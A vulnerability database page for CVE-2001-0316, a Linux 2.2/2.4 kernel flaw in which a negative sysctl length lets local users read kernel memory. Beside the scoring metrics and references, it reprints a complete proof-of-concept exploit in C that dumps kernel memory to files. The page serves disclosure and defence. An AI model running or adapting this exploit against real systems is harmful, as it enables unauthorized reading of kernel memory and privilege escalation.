CVE-2001-0316 : Detail

CVE-2001-0316

0.27%V4
Local
2001-05-07
02h00 +00:00
2004-09-02
07h00 +00:00
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CVE Descriptions

Linux kernel 2.4 and 2.2 allows local users to read kernel memory and possibly gain privileges via a negative argument to the sysctl call.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20626

Publication date : 2001-02-08 23h00 +00:00
Author : Chris Evans
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/2364/info The Linux Kernel is the core of the Linux Operating System. It was originally written by Linus Torvalds, and is publicly maintained. A problem in the Linux kernel may allow root compromise. The sysctl() call allows a privileged program to read or write kernel parameters. It is possible for underprivileged programs to use this system call to query values within the kernel. The system call accepts signed values, which could allow supplied negative values to reach below the threshold memory address set for system security. This makes it possible for a user with malicious motives to browse kernel space addresses, and potentially gain elevated privileges, including administrative access. */ /* sysctl_exp.c - Chris Evans - February 9, 2001 */ /* Excuse the lack of error checking */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <linux/unistd.h> #include <linux/sysctl.h> _syscall1(int, _sysctl, struct __sysctl_args *, args); #define BUFLEN 1000000 int main(int argc, const char* argv[]) { struct __sysctl_args args_of_great_doom; int names[2] = { CTL_KERN, KERN_NODENAME }; /* Minus 2 billion - somewhere close to biggest negative int */ int dodgy_len = -2000000000; int fd; char* p_buf; fd = open("/dev/zero", O_RDWR); p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, fd, 0); memset(p_buf, '\0', BUFLEN); fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); args_of_great_doom.name = names; args_of_great_doom.nlen = 2; args_of_great_doom.oldval = p_buf; args_of_great_doom.oldlenp = &dodgy_len; args_of_great_doom.newval = 0; args_of_great_doom.newlen = 0; _sysctl(&args_of_great_doom); fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.2.0

Linux>>Linux_kernel >> Version 2.4.0

References

http://www.redhat.com/support/errata/RHSA-2001-013.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.osvdb.org/6017
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/2364
Tags : vdb-entry, x_refsource_BID